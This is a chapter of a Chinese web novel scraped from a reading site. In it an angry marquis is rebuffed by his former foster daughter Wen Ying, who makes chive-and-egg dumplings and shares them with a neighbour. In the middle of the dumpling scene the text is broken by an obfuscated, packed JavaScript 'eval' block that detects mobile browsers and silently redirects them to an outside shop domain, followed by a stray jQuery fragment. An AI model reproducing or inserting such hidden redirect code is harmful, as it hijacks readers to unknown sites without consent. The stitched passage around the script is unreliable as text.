文趣网 > 其他小说 > 假千金只想开店赚钱 > 16. 素三鲜角子
    “如今我在外边儿,竟恨不得人人喊打了!”

    顺平侯把自己近日的遭遇一股脑儿全说了出来。

    谁知张大娘子听了他的话不但不安慰他,反而柳眉一竖,急切道:“侯爷怎么能不让映儿做生意?”

    “不做生意她怎么赚钱,怎么养家立足?”

    “再说了,映儿如今不是我们的孩子了,又凭什么管她?”

    顺平侯被这劈头盖脸砸下来的三连问问得张口结舌,半天才吐出一句话。

    “你也知道她不是我们的孩子了,为何话里话外还向着她!就因为她,最近出门谁都能逮着我说上几句了,我的颜面何在!”

    “那怎么了。”

    张大娘子浑不在意,“被人说几句又不会掉块肉。”

    “当初我就跟你说,缘分一场,应该多给映儿些银钱傍身,好让她能立足,侯爷非拦着不让给!”

    就在这时,一直乖乖站在一旁听着二人说话的胡萱忽然开口。

    “也不能这么说,爹爹贵为顺平侯,爹爹的颜面就是侯府的颜面,还是要顾及的。”

    “就是!”

    见终于有人能理解自己,顺平侯连连点头,还不住地赞叹:“到底是咱们的嫡亲血脉,你看萱儿多么懂事,识得大体。”

    “再看看那个,咱们教养了十八年,竟教出一个白眼狼!”

    张大娘子回身看向反驳自己的亲生女儿,眼中含着难以置信,胡萱下意识低下头,避开了那刺人的目光。

    母女二人都不再说话,屋内只余顺平侯得意的笑声。

    就在此时,府内下人求见。

    顺平侯见是先前自己派去给闻映传话的人,便心情颇好地让人进来。

    “话传到了吗?”

    “传到了,闻娘子也让给您带了一句话儿。”

    难道是没了营生想求些钱财?近日那些话听多了,顺平侯为数不多的父爱多少也被唤起了一点儿,闻映确实也是在他膝下养了十八年的孩子。

    一点儿钱对顺平侯府来说不算什么,先前他也只是气她狂妄自大,竟敢说出在外比在侯府过得还要好的话,又不满张氏瞒着他私下给她钱财。

    若是她乖乖听话,愿意低头认错,那他……

    下人低着头,不敢看顺平侯的脸,“闻娘子说——”

    “休想!”

    “……”

    “…………”

    “反了天了!”

    “真是反了天了!”

    顺平侯将桌子拍得震天响,“她竟丝毫不将我放在眼里!”

    “我可是养了她十八年。”

    张大娘子在一旁恨不得啐他一口,这时候又知道自己做了人家十八年的父亲了。十八年来乃至现在,也没见他何时有个正经可靠的父亲样儿。

    顺平侯“腾”地站起来,在屋内来来回回地走着,心中的郁气翻滚着无法平息。

    若是任由她一直在外抛头露面,那些人今日还假模假样地劝他,明日说不定就要参他一个为父不慈、治家不严,进而影响他的官途!

    胡萱见状忙上前扶着他坐下给他顺气,劝慰道:“爹爹也不必太过着急,说不定闻姐姐哪日就想通了,再说了……”

    她柔柔的声音不急不缓,接过下人端来的茶递给他,轻轻补了一句:“做生意也没有那么容易……”

    顺平侯听了这话却心中一动,放下了茶杯。

    对啊,做生意哪有一帆风顺的……

    张大娘子与这人做了多年的夫妻,一看他脸上的神情就知他此刻没打什么什么好主意,当下便压抑着怒气,提醒他:

    “侯爷,别忘了,你方才刚说过的,映儿可是我们亲手养了十几年的女儿,侯爷总不至于要对孩子动手!”

    顺平侯的心思被挑破,神情瞬时变得不自然,当即否认:“你胡说什么呢,我怎会如此。”

    “您最好不会。”张大娘子提醒他:“别忘了这桩案子可是那小国舅经手的,若是坏了他的事,侯爷届时可能就不止是被人说几句嘴了。”

    顺平侯大惊,对啊,他怎么把这事忘了,那煞星对那逆女可是颇为维护!

    一个黄毛小子,一个黄毛丫头。

    个个都不给他留颜面!

    “哼!”顺平侯斩钉截铁道:“以后侯府再也不许给那逆女送东西,也不许她上门!”

    “你!”张大娘子豁然起身。

    然而顺平侯已甩袖怒气冲冲出了院门,往小妾处去了。

    张大娘子没有急着追出去让他改变主意,此时他正在气头上,最好以后再徐徐图之。

    当下最紧要的是自己身边的事。

    张大娘子回身,攥紧了手中的帕子,复杂地看着这个刚找回不久,但自己其实并不了解的亲生女儿。

    “萱儿……”

    顺平侯撂下的话闻映根本就没当回事儿。

    她在侯府本也没有几个在意的人,对侯府也没什么念想,没想过要回去。且规矩是死的,人是活的,她进不去,娘亲、白雪随时可以出来在外边见面。

    至于不让她做生意的话就更可笑了,自己要不要做生意哪有他置喙的余地。

    哪怕是渣爹亲自来了,闻映也只给他一句话:休想!

    将侯府的人请离后,闻映就把这事儿甩在了一边,转而忙起今日的正经大事:

    包饺子!

    屋檐下,两个小孩坐在一起,正认认真真一根一根地择韭菜,闻映也拿了一个小板凳凑过去,一家三口围在一起干活儿。

    今日卖完饼买菜时,闻映看到一捆捆摆在地上鲜嫩欲滴的韭菜就走不动路了,当下便买了两捆回家。

    这可是刚下来的春日头茬嫩韭菜!

    春日正是吃嫩韭的季节,头茬小韭菜又鲜又嫩,略带辛辣,香气浓厚。无论是简单地炒个鸡蛋还是做个凉拌菜都鲜香十足。

    但要闻映说,韭菜最合她心意的做法还是素三鲜饺子!

    以前,她从高中就开始住校了,学校规定每两周可以回一次家。每次她回到孤儿院,院长妈妈都会包素三鲜饺子给她吃。

    当时院里的孩子们都特别盼着闻映回来,因为每次闻映回来院长妈妈就会给做好吃的。

    “又瘦了又瘦了,学习是不是太辛苦了?有没有好好吃饭?”每次在车站接到她时,院长妈妈就会接过她的书包,边打量她边念叨。

    还不等闻映回答,她自己又马上说:“辛苦也得好好学,知识改变命运。你的成绩这么好,天生就是学习的料,可不准浪费,知不知道?”

    闻映搂着她的胳膊靠在她肩上,“一点儿都不辛苦,我特别喜欢学习!”只要好好学习就能考入好的大学,有个好学历,进而找到好工作,她就可以挣到钱帮助院长妈妈,做自己想做的事。

    没有比学习更好、更简单、回报率更高的事情了。

    这个道理她从小就懂得。

    孤儿院没什么钱,也吃不起什么好东西,好在地挺大,他们种了不少菜。尤其春夏时,他们自己吃不完还会拿出去卖。

    所以,每次闻映回来时的一顿素三鲜饺子,是孤儿院难得的美味。

    老五为这还吃醋抱怨过:“知道你喜欢吃素三鲜的饺子,每次韭菜院长妈妈都给你留着,等你回来了才让吃。”

    然后闻映回来吃完了这一茬的,等下一茬再长出来又要两周,正好闻映又回来了!

    “姐姐,韭菜是要和鸡蛋一块炒吗?是不是太多了?”已经择完了一捆,但闻映又解开了下一捆,昭哥儿疑惑地开口。

    闻映:“今日不炒,姐姐给你们做素三鲜角子。”

    宋朝时吃饺子已经比较普遍了,当时叫“角子”。不过当下的饺子馅在闻映看来不少都有些“黑暗”。

    譬如有豆沙馅儿、荔枝馅的甜角子,以鹅、鸭肉为主的细馅角子,还有权贵专享的猪脑花、猪腰子角子。

    光想象就让人发憷,尤其是最后两样,闻映估计以当下的厨艺发展水平,一个角子得有一半胡椒才能压住那股腥气。

    素三鲜?昭哥儿第一次听到这个说法,不过姐姐做的肯定好吃,昭哥儿期待地点了点头。

    韭菜择好洗净,闻映掐住根茎处使劲甩了甩,将大部分水甩出去,剩下的就摊在竹筐里晾干。

    接着她进了灶房,先把面和好醒着,再泡上一把木耳,碗中嗑入四枚鸡蛋,撒一撮儿盐调味,闻映边打鸡蛋边回身,正要开口喊昭哥儿,却见昭哥儿人已经坐在了灶膛口,开始点火了!

    闻映挑挑眉,给了他一个赞许的眼神。

    昭哥儿抿嘴一笑,摇扇子的手顿时更用力了。

    锅中的油冒出烟来,闻映才把鸡蛋下锅,接着趁着鸡蛋还未凝固,快速用筷子转着圈把鸡蛋搅散,待鸡蛋炒熟后,又用铁勺将鸡蛋压得更碎,再将鸡蛋盛出晾凉。

    韭菜的水分也控得差不多了,闻映取一把韭菜牢牢摁住,顶刀切成小段儿,待韭菜全部切完,她龇牙咧嘴地扶着腰站直,再切一会儿她的腰就要废了。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17656338|206983||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>晴姐儿看见了连忙跑过来握起小拳头帮姐姐捶捶,闻映爱怜地揪揪晴姐儿的小脸蛋,“咱们晴姐儿真是姐姐最贴心的小棉袄。”

    晴姐儿得到鼓励,“嘿嘿咻咻”捶得更卖力了。

    把所有的韭菜放入大盆,先加入一勺熟油拌匀,防止韭菜出水。接着把嫩黄的鸡蛋碎、鲜香的木耳碎都倒进来,闻映又从柜子里取出一把小虾干,直接用手揉碎放入盆中提鲜,再加入适量花椒粉,最后放盐,馅料就准备好了。

    昭哥儿和晴姐儿都被香喷喷还泛着油亮光泽的馅料吸引了,凑过来闻了好几下。

    这样的时令菜本味就很好吃了,只需有个底味再提提鲜即可。

    照旧是一个负责擀皮,一个包。晴姐儿在一旁跃跃欲试,闻映也分给了她两张皮任她自己发挥。

    闻映小小一个的时候就跟在院长妈妈身后包饺子了,因此她包饺子的速度特别快。

    左手托皮,右手放馅,两只手并在一起,大拇指和食指用力一捏,一个圆滚滚的大肚饺子就包好了。

    这种饺子形似白菜,可惜现在的白菜还叫菘菜,不然的话,她可以用菜汁子染出青色的面,和白面和在一起包出活灵活现的“白菜”样饺子,再叫出“百财”的花名儿,肯定很受欢迎。闻映颇为遗憾地暗暗嘀咕。

    接着,闻映又分别包出了“元宝”的,“月牙儿”的,“月牙儿”是如今的主流形状,这也是“角子”这个名字的来源。

    不过“月牙儿”的包起来太慢了,要一下下捏出褶儿,闻映刚包几个就没了耐心,继续包“白菜”和“元宝”的。

    对齐,一捏,完事儿。

    闻映双手上下翻飞,一个个饺子就整齐列队般站在了盖帘上,无论从哪个方向看过去饺子都齐齐整整,纹丝不乱。

    她包得舒服了,可急坏了昭哥儿,眼瞅着姐姐手边的皮下的飞快,他擀得还供不上姐姐包的,急得他狗撵似的将胳膊抡得飞快,最后,姐弟俩竟用了不到半个时辰就包好了两个盖帘的饺子!

    晴姐儿也献宝似的给姐姐看自己包得两个“小包子”,她手小,捏得不结实,闻映便教了她包子的包法。

    闻映无视那两个已经看不出包子形状的小面团,对脸上沾了面粉,变成了小花猫还不自知的晴姐儿保证:“姐姐一定给你看好了,一会儿出锅时把你包的找出来。”

    晴姐儿激动点头。

    锅烧开,饺子排着队滚下锅,轮到晴姐儿的“小包子”时,闻映不动声色地又给捏了几下收口才扔进锅里。

    水开点入凉水,反复三次,饺子就熟了。

    闻映用漏勺将饺子全部捞出晾在篦子上,给两个小孩儿拣到碗里,又把自己提前调好的蘸料放在桌上,嘱咐他们先吃。

    随后闻映又拿了一个碗,拣了满满一碗饺子出了门。

    近日摆摊他们都用的李婶娘家的推车,多有麻烦人家,所以闻映做了什么新鲜吃食便总会给她们也送点儿。

    “李婶娘,在家吗?”

    没人应声,但门开着,普通人家没那么多讲究,闻映便直接进去了,要是没人放下东西就行。

    谁知刚进门就见一个身着粗布,个头瘦高的年轻男子急匆匆从屋里出来。

    “原来是映姐儿,我娘在家。”见是闻映,他慌忙回身对屋里喊:“娘,映姐儿来了。”

    “哎——”

    李四见闻映俏生生地立在那,即便围着围裙端着碗,气质也与他从小见的巷子里的其他小娘子不一样。

    正想着,闻映笑着看过来,他登时被开水烫了一般慌张地低下了头,脸也又热又胀。

    李婶娘从屋里出来看到的就是小儿子这幅没出息的样子。

    她略过他上前,闻映笑着递上手里的碗,“婶子,这是我做的角子,韭菜鸡蛋馅的,鲜得很,刚出锅,您和李叔趁热尝尝。”

    李婶推拒,“怎么又送来了?我们家也做好饭了,你们自家留着多吃点儿才是。”她知道映姐儿一个孩子还带着两个孩子有多不容易。

    闻映直接将碗塞到她手里,“这是我新做的,婶子给尝尝味儿看怎么样。”说罢怕她还要客气就赶紧往回走,“我还没吃饭呢,就先回去了。”

    李婶追出门连喊了两声也没喊住人。

    回来时,见小儿子傻愣愣地盯着门口,便提醒他:“回神了,这个也不合适。”

    李四听了又着急又不服气。

    “娘,暄姐儿在时您就说不合适,怎地映姐儿回来了也还是不合适?”